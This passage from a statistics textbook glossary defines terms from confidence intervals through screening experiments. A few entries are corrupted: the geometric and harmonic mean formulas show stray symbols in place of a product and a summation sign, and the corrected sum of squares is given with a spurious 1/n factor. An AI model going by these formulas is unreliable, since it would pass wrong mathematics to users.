Confidence coefficient. The probability $1 - \alpha$ associated with a confidence interval expressing the probability that the stated interval will contain the true parameter value.

Confidence interval. If it is possible to write a probability statement of the form

$$P(L \leq \theta \leq U) = 1 - \alpha$$

where L and U are functions of only the sample data and θ is a parameter, then the interval between L and U is called a confidence interval (or a $100(1 - \alpha)\%$ confidence interval). The interpretation is that a statement that the parameter θ lies in this interval will be true $100(1 - \alpha)\%$ of the times that such a statement is made.

Confidence level. Another term for the confidence coefficient.

Confounding. When a factorial experiment is run in blocks and the blocks are too small to contain a complete replicate of the experiment, one can run a fraction of the replicate in each block, but this results in losing information on some effects. These effects are linked with or confounded with the blocks. In general, when two factors are varied such that their individual effects cannot be determined separately, their effects are said to be confounded.

Consistent estimator. An estimator that converges in probability to the true value of the estimated parameter as the sample size increases.

Contingency table. A tabular arrangement expressing the assignment of members of a data set according to two or more categories or classification criteria.

Continuity correction. A correction factor used to improve the approximation to binomial probabilities from a normal distribution.

Continuous distribution. A probability distribution for a continuous random variable.

Continuous random variable. A random variable with an interval (either finite or infinite) of real numbers for its range.

Continuous uniform random variable. A continuous random variable with range of a finite interval and a constant probability density function.

Contour plot. A two-dimensional graphic used for a bivariate probability density function that displays curves for which the probability density function is constant.

Contrast. A linear function of treatment means with coefficients that total zero. A contrast is a summary of treatment means that is of interest in an experiment.

Control chart. A graphical display used to monitor a process. It usually consists of a horizontal center line corresponding to the in-control value of the parameter that is being monitored and lower and upper control limits. The control limits are determined by statistical criteria and are not arbitrary, nor are they related to specification limits. If sample points fall within the control limits, the process is said to be in-control, or free from assignable causes. Points beyond the control limits indicate an out-of-control process; that is, assignable causes are likely present. This signals the need to find and remove the assignable causes.

Control limits. *See* Control chart.

Convolution. A method to derive the probability density function of the sum of two independent random variables from an integral (or sum) of probability density (or mass) functions.

Cook's distance. In regression, Cook's distance is a measure of the influence of each individual observation on the estimates of the regression model parameters. It expresses the distance that the vector of model parameter estimates with the ith observation removed lies from the vector of model parameter estimates based on all observations. Large values of Cook's distance indicate that the observation is influential.

Correction factor. A term used for the quantity $(1/n)(\sum_{i=1}^{n} x_i)^2$ that is subtracted from $\sum_{i=1}^{n} x_i^2$ to give the corrected sum of squares defined as $(1/n)\sum_{i=1}^{n}(x_i - \bar{x})^2$. The correction factor can also be written as $n\bar{x}^2$.

Correlation. In the most general usage, a measure of the interdependence among data. The concept may include more than two variables. The term is most commonly used in a narrow sense to express the relationship between quantitative variables or ranks.

Correlation coefficient. A dimensionless measure of the linear association between two variables, usually lying in the interval from -1 to $+1$, with zero indicating the absence of correlation (but not necessarily the independence of the two variables).

Correlation matrix. A square matrix that contains the correlations among a set of random variables, say, $X_1, X_2, \ldots, X_k$. The main diagonal elements of the matrix are unity and the off-diagonal elements r_{ij} are the correlations between X_i and X_j.

Counting techniques. Formulas used to determine the number of elements in sample spaces and events.

Covariance. A measure of association between two random variables obtained as the expected value of the product of the two random variables around their means; that is, $\text{Cov}(X, Y) = E[(X - \mu_X)(Y - \mu_Y)]$.

Covariance matrix. A square matrix that contains the variances and covariances among a set of random variables, say, $X_1, X_2, \ldots, X_k$. The main diagonal elements of the matrix are the variances of the random variables and the off-diagonal elements are the covariances between X_i and X_j. Also called the variance-covariance matrix. When the random variables are standardized to have unit variances, the covariance matrix becomes the correlation matrix.

Critical region. In hypothesis testing, this is the portion of the sample space of a test statistic that will lead to rejection of the null hypothesis.

Critical value(s). The value of a statistic corresponding to a stated significance level as determined from the sampling distribution. For example, if $P(Z \geq z_{0.05}) = P(Z \geq 1.96) = 0.05$, then $z_{0.05} = 1.96$ is the critical value of z at the 0.05 level of significance.

Crossed factors. Another name for factors that are arranged in a factorial experiment.

Cumulative distribution function. For a random variable X, the function of X defined as $P(X \leq x)$ that is used to specify the probability distribution.

Cumulative normal distribution function. The cumulative distribution of the standard normal distribution, often denoted as $\Phi(x)$ and tabulated in Appendix Table II.

Cumulative sum control chart (CUSUM). A control chart in which the point plotted at time t is the sum of the measured deviations from target for all statistics up to time t.

Curvilinear regression. An expression sometimes used for nonlinear regression models or polynomial regression models.

Decision interval. A parameter in a tabular CUSUM algorithm that is determined from a trade-off between false alarms and the detection of assignable causes.

Defect. Used in statistical quality control, a defect is a particular type of nonconformance to specifications or requirements. Sometimes defects are classified into types, such as appearance defects and functional defects.

Defect concentration diagram. A quality tool that graphically shows the location of defects on a part or in a process.

Defects-per-unit control chart. *See* U chart.

Defining relation. A subset of effects in a fractional factorial design that define the aliases in the design.

Degrees of freedom. The number of independent comparisons that can be made among the elements of a sample. The term is analogous to the number of degrees of freedom for an object in a dynamic system, which is the number of independent coordinates required to determine the motion of the object.

Deming. W. Edwards Deming (1900–1993) was a leader in the use of statistical quality control.

Deming's 14 points. A management philosophy promoted by W. Edwards Deming that emphasizes the importance of change and quality.

Density function. Another name for a probability density function.

Dependent variable. The response variable in regression or a designed experiment.

Design matrix. A matrix that provides the tests that are to be conducted in an experiment.

Designed experiment. An experiment in which the tests are planned in advance and the plans usually incorporate statistical models. *See* Experiment.

Discrete distribution. A probability distribution for a discrete random variable.

Discrete random variable. A random variable with a finite (or countably infinite) range.

Discrete uniform random variable. A discrete random variable with a finite range and constant probability mass function.

Dispersion. The amount of variability exhibited by data.

Distribution free method(s). Any method of inference (hypothesis testing or confidence interval construction) that does not depend on the form of the underlying distribution of the observations. Sometimes called nonparametric method(s).

Distribution function. Another name for a cumulative distribution function.

Efficiency. A concept in parameter estimation that uses the variances of different estimators; essentially, an estimator is more efficient than another estimator if it has smaller variance. When estimators are biased, the concept requires modification.

Empirical model. A model to relate a response to one or more regressors or factors that is developed from data obtained from the system.

Enumerative study. A study in which a sample from a population is used to make inference to the population. *See* Analytic study.

Erlang random variable. A continuous random variable that is the sum of a fixed number of independent, exponential random variables.

β-error (or β-risk). In hypothesis testing, an error incurred by failing to reject a null hypothesis when it is actually false (also called a type II error).

α-error (or α-risk). In hypothesis testing, an error incurred by rejecting a null hypothesis when it is actually true (also called a type I error).

Error mean square. The error sum of squares divided by its number of degrees of freedom.

Error of estimation. The difference between an estimated value and the true value.

Error propagation. An analysis of how the variance of the random variable that represents that output of a system depends on the variances of the inputs. A formula exists when the output is a linear function of the inputs and the formula is simplified if the inputs are assumed to be independent.

Error sum of squares. In analysis of variance, this is the portion of total variability that is due to the random component in the data. It is usually based on replication of observations at certain treatment combinations in the experiment. It is sometimes called the residual sum of squares, although this is really a better term to use only when the sum of squares is based on the remnants of a model-fitting process and not on replication.

Error variance. The variance of an error term or component in a model.

Estimate (or point estimate). The numerical value of a point estimator.

Estimator (or point estimator). A procedure for producing an estimate of a parameter of interest. An estimator is usually a function of only sample data values, and when these data values are available, it results in an estimate of the parameter of interest.

Event. A subset of a sample space.

Exhaustive. A property of a collection of events that indicates that their union equals the sample space.

Expected value. The expected value of a random variable X is its long-term average or mean value. In the continuous case, the expected value of X is $E(X) = \int_{-\infty}^{\infty} xf(x)\,dx$ where $f(x)$ is the density function of the random variable X.

Experiment. A series of tests in which changes are made to the system under study.

Exponential random variable. A continuous random variable that is the time between events in a Poisson process.

Extra sum of squares method. A method used in regression analysis to conduct a hypothesis test for the additional contribution of one or more variables to a model.

Factorial experiment. A type of experimental design in which every level of one factor is tested in combination with every level of another factor. In general, in a factorial experiment, all possible combinations of factor levels are tested.

False alarm. A signal from a control chart when no assignable causes are present.

***F* distribution.** The distribution of the random variable defined as the ratio of two independent chi-square random variables, each divided by its number of degrees of freedom.

Finite population correction factor. A term in the formula for the variance of a hypergeometric random variable.

First-order model. A model that contains only first-order terms. For example, the first-order response surface model in two variables is $y = \beta_0 + \beta_1 x_1 + \beta_2 x_2 + \epsilon$. A first-order model is also called a main effects model.

Fisher's least significant difference (LSD) method. A series of pair-wise hypothesis tests of treatment means in an experiment to determine which means differ.

Fixed factor (or fixed effect). In analysis of variance, a factor or effect is considered fixed if all the levels of interest for that factor are included in the experiment. Conclusions are then valid about this set of levels only, although when the factor is quantitative, it is customary to fit a model to the data for interpolating between these levels.

Forward selection. A method of variable selection in regression, where variables are inserted one at a time into the model until no other variables that contribute significantly to the model can be found.

Fraction defective control chart. *See P* chart.

Fraction defective. In statistical quality control, that portion of a number of units or the output of a process that is defective.

Fractional factorial experiment. A type of factorial experiment in which not all possible treatment combinations are run. This is usually done to reduce the size of an experiment with several factors.

Frequency distribution. An arrangement of the frequencies of observations in a sample or population according to the values that the observations take on.

***F*-test**. Any test of significance involving the F distribution. The most common F-tests are (1) testing hypotheses about the variances or standard deviations of two independent normal distributions, (2) testing hypotheses about treatment means or variance components in the analysis of variance, and (3) testing significance of regression or tests on subsets of parameters in a regression model.

Gamma function. A function used in the probability density function of a gamma random variable that can be considered to extend factorials.

Gamma random variable. A random variable that generalizes an Erlang random variable to noninteger values of the parameter r.

Gaussian distribution. Another name for the normal distribution, based on the strong connection of Karl F. Gauss to the normal distribution; often used in physics and electrical engineering applications.

Generating function. A function that is used to determine properties of the probability distribution of a random variable. *See* Moment generating function.

Generator. Effects in a fractional factorial experiment that are used to construct the experimental tests used in the experiment. The generators also define the aliases.

Geometric mean. The geometric mean of a set of n positive data values is the nth root of the product of the data values; that is, $\bar{g} = (\boldsymbol{w}_{i=1}^{n} x_i)^{1/n}$.

Geometric random variable. A discrete random variable that is the number of Bernoulli trials until a success occurs.

Goodness of fit. In general, the agreement of a set of observed values and a set of theoretical values that depend on some hypothesis. The term is often used in fitting a theoretical distribution to a set of observations.

Harmonic mean. The harmonic mean of a set of data values is the reciprocal of the arithmetic mean of the reciprocals of the data values; that is, $\bar{h} = \left(\frac{1}{n}\, \boldsymbol{g}_{i=1}^{n} \frac{1}{x_i}\right)^{-1}$.

Hat matrix. In multiple regression, the matrix $\mathbf{H} = \mathbf{X}(\mathbf{X}'\mathbf{X})^{-1}\mathbf{X}'$. This a projection matrix that maps the vector of observed response values into a vector of fitted values by $\hat{\mathbf{y}} = \mathbf{X}(\mathbf{X}'\mathbf{X})^{-1}\mathbf{X}'\mathbf{y} = \mathbf{H}\mathbf{y}$.

Hidden extrapolation. An extrapolation is a prediction in a regression analysis that is made at point $(x_1, x_2, \ldots, x_k)$ that is remote from the data used to generate the model. Hidden extrapolation occurs when it is not obvious that the point is remote. This can occur when multicollinearity is present in the data used to construct the model.

Histogram. A univariate data display that uses rectangles proportional in area to class frequencies to visually exhibit features of data such as location, variability, and shape.

Homogeneity test. In a two-way (r by c) contingency table, this tests if the proportions in the c categories are the same for all r populations.

Hypergeometric random variable. A discrete random variable that is the number of success obtained from a sample drawn without replacement from a finite populations.

Hypothesis (as in statistical hypothesis). A statement about the parameters of a probability distribution or a model, or a statement about the form of a probability distribution.

Hypothesis testing. Any procedure used to test a statistical hypothesis.

Independence. A property of a probability model and two (or more) events that allows the probability of the intersection to be calculated as the product of the probabilities.

Independence test. In a two-way (r by c) contingency table, this tests if the row and column categories are independent.

Independent random variables. Random variables for which $P(X \in A, Y \in B) = P(X \in A)P(Y \in B)$ for any sets A and B in the range of X and Y, respectively. There are several equivalent descriptions of independent random variables.

Independent variable. The predictor or regressor variables in a regression model.

Inference. Conclusion from a statistical analysis. It usually refers to the conclusion from a hypothesis test or an interval estimate.

Indicator variable(s). Variables that are assigned numerical values to identify the levels of a qualitative or categorical response. For example, a response with two categorical levels (yes and no) could be represented with an indicator variable taking on the values 0 and 1.

Individuals control chart. A Shewhart control chart in which each plotted point is an individual measurement, rather than a summary statistic. *See* Control chart, Shewhart control chart.

Influential observation. An observation in a regression analysis that has a large effect on estimated parameters in the model. Influence is measured by the change in parameters when the influential observation is included and excluded in the analysis.

Interaction. In factorial experiments, two factors are said to interact if the effect of one variable is different at different levels of the other variables. In general, when variables operate independently of each other, they do not exhibit interaction.

Intercept. The constant term in a regression model.

Interquartile range. The difference between the third and first quartiles in a sample of data. The interquartile range is less sensitive to extreme data values than the usual sample range.

Interval estimation. The estimation of a parameter by a range of values between lower and upper limits, in contrast to point estimation, where the parameter is estimated by a single numerical value. A confidence interval is a typical interval estimation procedure.

Intrinsically linear model. In regression analysis, a nonlinear function that can be expressed as a linear function after a suitable transformation is called intrinsically linear.

Jacobian. A matrix of partial derivatives that is used to determine the distribution of transformed random variables.

Joint probability density function. A function used to calculate probabilities for two or more continuous random variables.

Joint probability distribution. The probability distribution for two or more random variables in a random experiment. *See* Joint probability mass function and Joint probability density function.

Joint probability mass function. A function used to calculate probabilities for two or more discrete random variables.

Kurtosis. A measure of the degree to which a unimodal distribution is peaked.

Lack of memory property. A property of a Poisson process. The probability of a count in an interval depends only on the length of the interval (and not on the starting point of the interval). A similar property holds for a series of Bernoulli trials. The probability of a success in a specified number of trials depends only on the number of trials (and not on the starting trial).

Least significance difference test (or Fisher's LSD test). An application of the t-test to compare pairs of means following rejection of the null hypothesis in an analysis of variance. The error rate is difficult to calculate exactly because the comparisons are not all independent.

Least squares (method of). A method of parameter estimation in which the parameters of a system are estimated by minimizing the sum of the squares of the differences between the observed values and the fitted or predicted values from the system.

Least squares estimator. Any estimator obtained by the method of least squares.

Level of significance. If Z is the test statistic for a hypothesis, and the distribution of Z when the hypothesis is true are known, then we can find the probabilities $P(Z \leq z_L)$ and $P(Z \geq z_U)$. Rejection of the hypothesis is usually expressed in terms of the observed value of Z falling outside the interval from z_L to z_U. The probabilities $P(Z \leq z_L)$ and $P(Z \geq z_U)$ are usually chosen to have small values, such as 0.01, 0.025, 0.05, or 0.10, and are called levels of significance. The actual levels chosen are somewhat arbitrary and are often expressed in percentages, such as a 5% level of significance.

Levels of a factor. The settings (or conditions) used for a factor in an experiment.

Likelihood function. Suppose that the random variables $X_1, X_2, \ldots, X_n$ have a joint distribution given by $f(x_1, x_2, \ldots, x_n; \theta_1, \theta_2, \ldots, \theta_p)$ where the θs are unknown parameters. This joint distribution, considered as a function of the θs for fixed x's, is called the likelihood function.

Likelihood principle. This principle states that the information about a model given by a set of data is completely contained in the likelihood.

Likelihood ratio. Let $x_1, x_2, \ldots, x_n$ be a random sample from the population $f(x; \theta)$. The likelihood function for this sample is $L = \prod_{i=1}^{n} f(x_i; \theta)$. We wish to test the hypothesis H_0: $\theta \in \omega$, where ω is a subset of the possible values Ω for θ. Let the maximum value of L with respect to θ over the entire set of values that the parameter can take on be denoted by $L(\hat{\Omega})$, and let the maximum value of L with θ restricted to the set of values given by ω be $L(\hat{\omega})$. The null hypothesis is tested by using the likelihood ratio $\lambda = L(\hat{\omega})/L(\hat{\Omega})$, or a simple function of it. Large values of the likelihood ratio are consistent with the null hypothesis.

Likelihood ratio test. A test of a null hypothesis versus an alternative hypothesis using a test statistic derived from a likelihood ratio.

Linear function of random variables. A random variable that is defined as a linear function of several random variables.

Linear model. A model in which the observations are expressed as a linear function of the unknown parameters. For example, $y = \beta_0 + \beta_1 x + \epsilon$ and $y = \beta_0 + \beta_1 x + \beta_2 x^2 + \epsilon$ are linear models.

Location parameter. A parameter that defines a central value in a sample or a probability distribution. The mean and the median are location parameters.

Logistic regression. A regression model that is used to model a categorical response. For a binary (0, 1) response, the model assumes that the logarithm of the ratio of probabilities (for zero and one) is linearly related to the regressor variables.

Lognormal random variable. A continuous random variable with probability distribution equal to that of $\exp(W)$ for a normal random variable W.

Main effect. An estimate of the effect of a factor (or variable) that independently expresses the change in response due to a change in that factor, regardless of other factors that may be present in the system.

Marginal probability density function. The probability density function of a continuous random variable obtained from the joint probability distribution of two or more random variables.

Marginal probability distribution. The probability distribution of a random variable obtained from the joint probability distribution of two or more random variables.

Marginal probability mass function. The probability mass function of a discrete random variable obtained from the joint probability distribution of two or more random variables.

Maximum likelihood estimation. A method of parameter estimation that maximizes the likelihood function of a sample.

Mean. The mean usually refers either to the expected value of a random variable or to the arithmetic average of a set of data.

Mean square. In general, a mean square is determined by dividing a sum of squares by the number of degrees of freedom associated with the sum of squares.

Mean square(d) error. The expected squared deviation of an estimator from the true value of the parameter it estimates. The mean square error can be decomposed into the variance of the estimator plus the square of the bias; that is, $MSE(\hat{\Theta}) = E(\hat{\Theta} - \theta)^2 = V(\hat{\Theta}) + [E(\hat{\Theta}) - \theta]^2$.

Mechanistic model. A model developed from theoretical knowledge or experience in contrast to a model developed from data. *See* Empirical model.

Median. The median of a set of data is that value that divides the data into two equal halves. When the number of observations is even, say $2n$, it is customary to define the median as the average of the nth and $(n + 1)$st rank-ordered values. The median can also be defined for a random variable. For example, in the case of a continuous random variable X, the median M can be defined as $\int_{-\infty}^{M} f(x)dx = \int_{M}^{\infty} f(x)dx = 1/2$.

Method of steepest ascent. A technique that allows an experimenter to move efficiently toward a set of optimal operating conditions by following the gradient direction. The method of steepest ascent is usually employed in conjunction with fitting a first-order response surface and deciding that the current region of operation is inappropriate.

Mixed model. In an analysis of variance context, a mixed model contains both random and fixed factors.

Mode. The mode of a sample is that observed value that occurs most frequently. In a probability distribution $f(x)$ with continuous first derivative, the mode is a value of x for which $df(x)/dx = 0$ and $d^2f(x)/dx^2 < 0$. There may be more than one mode of either a sample or a distribution.

Moment (or population moment). The expected value of a function of a random variable such as $E(X - c)^r$ for constants c and r. When $c = 0$, it is said that the moment is about the origin. *See* Moment generating function.

Moment estimator. A method of estimating parameters by equating sample moments to population moments. Since the population moments will be functions of the unknown parameters, this results in equations that may be solved for estimates of the parameters.

Moment generating function. A function that is used to determine properties (such as moments) of the probability distribution of a random variable. It is the expected value of $\exp(tX)$. See Generating function and Moment.

Moving range. The absolute value of the difference between successive observations in time-ordered data. Used to estimate chance variation in an individual control chart.

Multicollinearity. A condition occurring in multiple regression where some of the predictor or regressor variables are nearly linearly dependent. This condition can lead to instability in the estimates of the regression model parameters.

Multinomial distribution. The joint probability distribution of the random variables that count the number of results in each of k classes in a random experiment with a series of independent trials with constant probability of each class on each trial. It generalizes a binomial distribution.

Multiplication rule. For probability, a formula used to determine the probability of the intersection of two (or more) events. For counting techniques, a formula used to determine the number of ways to complete an operation from the number of ways to complete successive steps.

Mutually exclusive events. A collection of events whose intersections are empty.

Natural tolerance limits. A set of symmetric limits that are three times the process standard deviation from the process mean.

Negative binomial random variable. A discrete random variable that is the number of trials until a specified number of successes occur in Bernoulli trials.

Nonlinear regression model. A regression model that is nonlinear in the parameters. It is sometimes applied to regression models that are nonlinear in the regressors or predictors, but this is an incorrect usage.

Nonparametric statistical method(s). *See* Distribution free method(s).

Normal approximation. A method to approximate probabilities for binomial and Poisson random variables.

Normal equations. The set of simultaneous linear equations arrived at in parameter estimation using the method of least squares.

Normal probability plot. A specially constructed plot for a variable x (usually on the abscissa) in which y (usually on the ordinate) is scaled so that the graph of the normal cumulative distribution is a straight line.

Normal random variable. A continuous random variable that is the most important one in statistics because it results from the central limit theorem. *See* Central limit theorem.

***NP* chart.** An attribute control chart that plots the total of defective units in a subgroup. Similar to a fraction-defective chart or P chart.

Nuisance factor. A factor that probably influences the response variable, but which is of no interest in the current study. When the levels of the nuisance factor can be controlled, blocking is the design technique that is customarily used to remove its effect.

Null distribution. In a hypothesis test, the distribution of the test statistic when the null hypothesized is assumed to be true.

Null hypothesis. This term generally relates to a particular hypothesis that is under test, as distinct from the alternative hypothesis (which defines other conditions that are feasible but not being tested). The null hypothesis determines the probability of type I error for the test procedure.

Observational study. A system is observed and data might be collected, but changes are not made to the system. *See* Experiment.

Odds ratio. The odds equals the ratio of two probabilities. In logistic regression, the logarithm of the odds is modeled as a linear function of the regressors. Given values for the regressors at a point, the odds can be calculated. The odds ratio is the odds at one point divided by the odds at another.

One-way model. In an analysis of variance context, this involves a single variable or factor with a different levels.

Operating characteristic curves (OC curves). A plot of the probability of type II error versus some measure of the extent to which the null hypothesis is false. Typically, one OC curve is used to represent each sample size of interest.

Optimization experiment. A experiment conducted to improve (or optimize) a system or process. It is assumed that the important factors are known.

Orthogonal. There are several related meanings, including the mathematical sense of perpendicular, two variables being said to be orthogonal if they are statistically independent, or in experimental design where a design is orthogonal if it admits statistically independent estimates of effects.

Orthogonal design. *See* Orthogonal.

Outcome. An element of a sample space.

Outlier(s). One or more observations in a sample that are so far from the main body of data that they give rise to the question that they may be from another population.

Overcontrol. Unnecessary adjustments made to processes that increase the deviations from target.

Overfitting. Adding more parameters to a model than is necessary.

***P* chart.** An attribute control chart that plots the proportion of defective units in a subgroup. Also called a fraction-defective control chart. Similar to an *NP* chart.

Parameter estimation. The process of estimating the parameters of a population or probability distribution. Parameter estimation, along with hypothesis testing, is one of the two major techniques of statistical inference.

Parameter. An unknown quantity that may vary over a set of values. Parameters occur in probability distributions and in statistical models, such as regression models.

Pareto chart. A bar chart used to rank the causes of a problem.

***PCR*.** A process capability ratio with numerator equal to the difference between the product specification limits and denominator equal to six times the process standard deviation. Said to measure the potential

capability of the process because the process mean is not considered. *See* Process capability, Process capability ratio, Process capability study, and PCR_k. Sometimes denoted as C_p in other references.

PCR_k. A process capability ratio with numerator equal to the difference between the product target and the nearest specification limit and denominator equal to three times the process standard deviation. Said to measure the actual capability of the process because the process mean is considered. See process capability, process capability ratio, process capability study, and *PCR*. Sometimes denoted as C_{pk} in other references.

Percentage point. A particular value of a random variable determined from a probability (expressed as a percentage). For example, the upper 5 percentage point of the standard normal random variable is $z_{0.05} = 1.645$.

Percentile. The set of values that divide the sample into 100 equal parts.

Permutation. An ordered sequence of the elements in a set used to determine the number of outcomes in events and sample spaces.

Point estimator. *See* Estimator.

Poisson process. A random experiment with events that occur in an interval and satisfy the following assumptions. The interval can be partitioned into subintervals such that the probability of more than one event in a subinterval is zero, the probability of an event in a subinterval is proportional to the length of the subinterval, and the event in each subinterval is independent of other subintervals.

Poisson random variable. A discrete random variable that is the number of events that occur in a Poisson process.

Pooled *t*-test. A hypothesis to compare the means of two populations with the variances assumed to be equal.

Pooling. When several sets of data can be thought of as having been generated from the same model, it is possible to combine them, usually for purposes of estimating one or more parameters. Combining the samples for this purpose is usually called *pooling* and it is commonly used to estimate a variance.

Population standard deviation. *See* Standard deviation.

Population variance. *See* Variance.

Population. Any finite or infinite collection of individual units or objects.

Posterior distribution. The probability distribution for a parameter in a Bayesian analysis calculated from the prior distribution and the conditional distribution of the data given the parameter.

Power. The power of a statistical test is the probability that the test rejects the null hypothesis when the null hypothesis is indeed false. Thus, the power is equal to one minus the probability of type II error.

Prediction. The process of determining the value of one or more statistical quantities at some future point in time. In a regression model, predicting the response y for some specified set of regressors or predictor variables also leads to a predicted value, although there may be no temporal element to the problem.

Prediction interval. The interval between a set of upper and lower limits associated with a predicted value designed to show on a probability basis the range of error associated with the prediction.

Predictor variable(s). The independent or regressor variable(s) in a regression model.

PRESS statistic. In regression analysis, the predicted residual sum of squares. Delete each point and estimate the parameters of the model from the data that remain. Estimate the deleted point from this model. Restore the point and then delete the next point. Each point is estimated once and the sum of squares of these errors is calculated.

Prior distribution. The initial probability distribution assumed for a parameter in a Bayesian analysis.

Probability. A numerical measure between 0 and 1 assigned to events in a sample space. Higher numbers indicate the event is more likely to occur. *See* Axioms of probability.

Probability density function. A function used to calculate probabilities and to specify the probability distribution of a continuous random variable.

Probability distribution. For a sample space, a description of the set of possible outcomes along with a method to determine probabilities. For a random variable, a probability distribution is a description of the range along with a method to determine probabilities.

Probability mass function. A function that provides probabilities for the values in the range of a discrete random variable.

Probability plot. A scatter plot used to judge if data can reasonably be assumed to follow a particular probability distribution. A normal probability plot is often used to evaluate the normality assumption of data or residuals.

Process capability. The capability of a process to produce product within specification limits. *See* Process capability ratio, Process capability study, *PCR*, and PCR_k.

Process capability ratio. A ratio that relates the width of the product specification limits to measures of process performance. Used to quantify the capability of the process to produce product within specifications. *See* Process capability, Process capability study, *PCR*, and PCR_k.

Process capability study. A study that collects data to estimate process capability. *See* Process capability, Process capability ratio, *PCR*, and PCR_k.

***P*-Value.** The exact significance level of a statistical test; that is, the probability of obtaining a value of the test statistic that is at least as extreme as that observed when the null hypothesis is true.

Qualitative (data). Data derived from nonnumeric attributes, such as sex, ethnic origin or nationality, or other classification variables.

Quality control. Systems and procedures used by an organization to assure that the outputs from processes satisfy customers.

Quantiles. The set of $n - 1$ values of a variable that partition it into a number n of equal proportions. For example, $n - 1 = 3$ values partition data into four quantiles, with the central value usually called the median and the lower and upper values usually called the lower and upper quartiles, respectively.

Quantitative (data). Data in the form of numerical measurements or counts.

Quartiles. The three values of a variable that partition it into four equal parts. The central value is usually called the median and the lower and upper values are usually called the lower and upper quartiles, respectively. *See* Quantiles.

R^2. A quantity used in regression models to measure the proportion of total variability in the response accounted for by the model. Computationally, $R^2 = SS_{\text{Regression}}/SS_{\text{Total}}$, and large values of R^2 (near

unity) are considered good. However, it is possible to have large values of R^2 and find that the model is unsatisfactory. R^2 is also called the coefficient of determination (or the coefficient of multiple determination in multiple regression).

R chart. A control chart that plots the range of the measurements in a subgroup that is used to monitor the variance of the process.

Random. Nondeterministic, occurring purely by chance, or independent of the occurrence of other events.

Random effects model. In an analysis of variance context, this refers to a model that involves only random factors.

Random error. An error (usually a term in a statistical model) that behaves as if it were drawn at random from a particular probability distribution.

Random experiment. An experiment that can result in different outcomes, even though it is repeated in the same manner each time.

Random factor. In analysis of variance, a factor whose levels are chosen at random from some population of factor levels.

Random order. A sequence or order for a set of objects that is carried out in such a way that every possible ordering is equally likely. In experimental design, the runs of the experiment are typically arranged and carried out in random order.

Random sample. A sample is said to be random if it is selected in such a way so that every possible sample has the same probability of being selected.

Random variable. A function that assigns a real number to each outcome in the sample space of a random experiment.

Randomization. Randomly assign treatments to experimental units or conditions in an experiment. This is done to reduce the opportunity for a treatment to be favored or disfavored (biased) by test conditions.

Randomized complete block design. A type of experimental design in which treatment or factor levels are assigned to blocks in a random manner.

Range. The largest minus the smallest of a set of data values. The range is a simple measure of variability and is widely used in quality control.

Range (control) chart. A control chart used to monitor the variability (dispersion) in a process. *See* Control chart.

Rank. In the context of data, the rank of a single observation is its ordinal number when all data values are ordered according to some criterion, such as their magnitude.

Rational subgroup. A sample of data selected in a manner to include chance sources of variation and to exclude assignable sources of variation to the extent possible.

Reference distribution. The distribution of a test statistic when the null hypothesis is true. Sometimes a reference distribution is called the null distribution of the test statistic.

Reference value. A parameter set in a tabular CUSUM algorithm that is determined from the magnitude of the process shift that should be detected.

Regression. The statistical methods used to investigate the relationship between a dependent or response variable y and one or more independent variables x. The independent variables are usually called regressor variables or predictor variables.

Regression coefficient(s). The parameter(s) in a regression model.

Regression diagnostics. Techniques for examining a fitted regression model to investigate the adequacy of the fit and to determine if any of the underlying assumptions have been violated.

Regression line (or curve). A graphical display of a regression model, usually with the response y on the ordinate and the regressor x on the abscissa.

Regression sum of squares. The portion of the total sum of squares attributable to the model that has been fit to the data.

Regressor variable. The independent or predictor variable in a regression model.

Rejection region. In hypothesis testing, this is the region in the sample space of the test statistic that leads to rejection of the null hypothesis when the test statistic falls in this region.

Relative frequency. The relative frequency of an event is the proportion of times the event occurred in a series of trials of a random experiment.

Reliability. The probability that a specified mission will be completed. It usually refers to the probability that a lifetime of a continuous random variable exceeds a specified time limit.

Replicates. One of the independent repetitions of one or more treatment combinations in an experiment.

Replication. The independent execution of an experiment more than once.

Reproductive property of the normal distribution. A linear combination of independent, normal random variables is a normal random variable.

Residual. Generally this is the difference between the observed and the predicted value of some variable. For example, in regression a residual is the difference between the observed value of the response and the corresponding predicted value obtained from the regression model.

Residual analysis (and plots). Any technique that uses the residuals, usually to investigate the adequacy of the model that was used to generate the residuals.

Residual sum of squares. *See* Error sum of squares.

Resolution. A measure of severity of aliasing in a fractional factorial design. We commonly consider resolution III, IV, and V designs.

Response (variable). The dependent variable in a regression model or the observed output variable in a designed experiment.

Response surface. When a response y depends on a function of k quantitative variables $x_1, x_2, \ldots, x_k$, the values of the response may be viewed as a surface in $k + 1$ dimensions. This surface is called a response surface. Response surface methodology is a subset of experimental design concerned with approximating this surface with a model and using the resulting model to optimize the system or process.

Response surface designs. Experimental designs that have been developed to work well in fitting response surfaces. These are usually designs for fitting a first- or second-order model. The central composite design is a widely used second-order response surface design.

Ridge regression. A method for fitting a regression model that is intended to overcome the problems associated with using standard (or ordinary) least squares when there is a problem with multicollinearity in the data.

Rotatable design. In a rotatable design, the variance of the predicted response is the same at all points that are the same distance from the center of the design.

Run rules. A set of rules applied to the points plotted on a Shewhart control chart that are used to make the chart more sensitized to assignable causes. *See* Control chart, Shewhart control chart.

Runs test. A nonparametric test to compare two distributions or check for independence of measurements.

***S* chart.** A control chart that plots the standard deviation of the measurements in a subgroup that is used to monitor the variance of the process.

Sample. Any subset of the elements of a population.

Sample mean. The arithmetic average or mean of the observations in a sample. If the observations are $x_1, x_2, \ldots, x_n$, then the sample mean is $(1/n)\sum_{i=1}^{n} x_i$. The sample mean is usually denoted by $\bar{x}$.

Sample moment. The quantity $(1/n)\sum_{i=1}^{n} x_i^k$ is called the kth sample moment.

Sample range. *See* Range.

Sample size. The number of observations in a sample.

Sample space. The set of all possible outcomes of a random experiment.

Sample standard deviation. The positive square root of the sample variance. The sample standard deviation is the most widely used measure of variability of sample data.

Sample variance. A measure of variability of sample data, defined as $s^2 = [1/(n-1)]\sum_{i=1}^{n}(x_i - \bar{x})^2$, where $\bar{x}$ is the sample mean.

Sampling distribution. The probability distribution of a statistic. For example, the sampling distribution of the sample mean $\overline{X}$ is the normal distribution.

Scatter diagram. A diagram displaying observations on two variables, x and y. Each observation is represented by a point showing its x-y coordinates. The scatter diagram can be very effective in revealing the joint variability of x and y or the nature of the relationship between them.

Screening experiment. An experiment designed and conducted for the purpose of screening out or isolating a promising set of factors for future experimentation. Many screening experiments are fractional factorials, such as two-level fractional factorial designs.

